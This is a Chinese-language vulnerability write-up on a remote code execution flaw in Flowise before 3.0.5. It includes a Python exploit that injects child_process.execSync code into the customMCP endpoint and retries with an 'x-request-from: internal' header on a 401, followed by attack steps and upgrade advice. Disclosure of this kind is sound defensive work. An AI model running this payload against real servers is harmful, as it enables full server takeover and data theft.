Flowise 3.0.4 远程代码执行漏洞深度分析

本文详细披露了Flowise AI平台在3.0.5版本之前存在的一个高危远程代码执行漏洞。攻击者通过构造特定的请求,可利用`child_process`模块在目标服务器上执行任意系统命令。文章包含了完整的漏洞利用代码和技术原理分析。

Flowise 3.0.4 远程代码执行漏洞

发布日期: 2025年11月1日 漏洞提交者: nltt0 风险等级: 高危 攻击类型: 远程 相关CVE编号: CVE-2025-59528, CVE-2025-58434

漏洞概述

在Flowise AI平台3.0.5版本之前,存在一个严重的远程代码执行漏洞。攻击者通过身份验证后,可以向/api/v1/node-load-method/customMCP端点发送特制请求,从而在服务器上执行任意系统命令。

技术细节

受影响版本

  • Flowise版本 < 3.0.5

漏洞利用原理

漏洞存在于node-load-method/customMCP接口的处理逻辑中。攻击者可以在mcpServerConfig参数中注入恶意JavaScript代码,该代码通过process.mainModule.require("child_process")调用系统命令。

利用代码示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from requests import post, session
from argparse import ArgumentParser

# 漏洞利用脚本的核心函数
def rce(email, url, password, cmd):
    session, status_code = login(email, url)
    url_format = "{}/api/v1/node-load-method/customMCP".format(url)
    
    # 构造恶意命令执行代码
    command = f'({{x:(function(){{const cp = process.mainModule.require("child_process");cp.execSync("{cmd}");return 1;}})()}})'
    
    data = {
        "loadMethod": "listActions",
        "inputs": {
            "mcpServerConfig": command
        }
    }
    
    r = session.post(url_format, json=data)
    
    if r.status_code == 401:
        session.headers["x-request-from"] = "internal"
        session.post(url_format, json=data)
    
    print(f"[x] Command executed [{cmd}]")

攻击步骤

  1. 使用有效的邮箱和密码进行登录
  2. 构造包含恶意代码的POST请求
  3. 发送到/api/v1/node-load-method/customMCP端点
  4. 系统命令将在服务器上执行

修复建议

  • 立即升级到Flowise 3.0.5或更高版本
  • 对用户输入进行严格的验证和过滤
  • 限制child_process模块的使用权限
  • 实施适当的访问控制和输入净化机制

安全影响

此漏洞允许经过身份验证的攻击者在目标服务器上执行任意命令,可能导致:

  • 完全控制系统
  • 数据泄露
  • 服务器被加入僵尸网络
  • 横向移动攻击内部网络

参考链接

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计